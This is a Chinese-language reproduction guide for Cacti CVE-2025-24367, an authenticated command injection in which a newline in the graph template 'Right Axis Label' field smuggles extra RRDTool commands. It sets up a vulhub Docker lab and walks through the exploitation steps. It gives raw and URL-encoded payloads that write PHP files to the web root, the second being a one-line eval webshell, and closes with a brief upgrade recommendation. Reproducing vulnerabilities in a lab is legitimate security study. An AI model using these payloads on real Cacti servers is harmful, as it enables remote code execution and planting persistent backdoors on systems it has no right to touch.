简介
Cacti是一款利用RRDTool数据存储和图形化功能的完整网络图形化解决方案。在Cacti 1.2.28及以前版本中存在一个命令注入漏洞,该漏洞允许已认证用户在Web服务器上创建任意PHP文件,从而可能导致远程代码执行。
此漏洞出现在图形模板功能中,用户输入的RRDTool命令参数,如--right-axis-label,未被正确过滤。虽然Cacti尝试使用cacti_escapeshellarg()函数转义shell元字符,但它未能处理换行符。这允许攻击者突破预期的命令上下文并注入其他RRDTool命令,最终能够向Web根目录写入恶意PHP文件。
靶场搭建
vulhub:
cd vulhub/cacti/CVE-2025-24367
docker-compose up -d
访问 http://ip:8080到达安装页面,输入账号密码admin:admin,一直点击Next,最后到达此页面
复现
修改Right Axis Label参数
Console → Templates → Graph
然后选择"PING - Advanced Ping"
修改"Right Axis Label",随便输入,这里我输入"XXX",回车并抓包
XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph vulhub.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=phpinfo();?>
url编码:
XXX%0acreate+my.rrd+--step+300+DS%3atemp%3aGAUGE%3a600%3a-273%3a5000+RRA%3aAVERAGE%3a0.5%3a1%3a1200%0agraph+vulhub.php+-s+now+-a+CSV+DEF%3aout%3dmy.rrd%3atemp%3aAVERAGE+LINE1%3aout%3a%3c%3f%3dphpinfo()%3b%3f%3e%0a
创建新图表
Console → Create → New Graphs
使用"PING - Advanced Ping"模板创建新图表
触发payload
Graphs → Default Tree → Local Linux Machine 触发payload
在web根目录下可以访问vulhub.php
同理,构造一个一句话
XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph vulhub1.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=eval($_POST[pwd]);?>
url编码:
XXX%0acreate+my.rrd+--step+300+DS%3atemp%3aGAUGE%3a600%3a-273%3a5000+RRA%3aAVERAGE%3a0.5%3a1%3a1200%0agraph+vulhub1.php+-s+now+-a+CSV+DEF%3aout%3dmy.rrd%3atemp%3aAVERAGE+LINE1%3aout%3a%3c%3f%3deval(%24_POST%5bpwd%5d)%3b%3f%3e%0a
同样的方法修改参数后,图表已经创建,直接去看表触发payload
防御
官方已发布1.2.29版本修复该漏洞,建议升级至最新版本。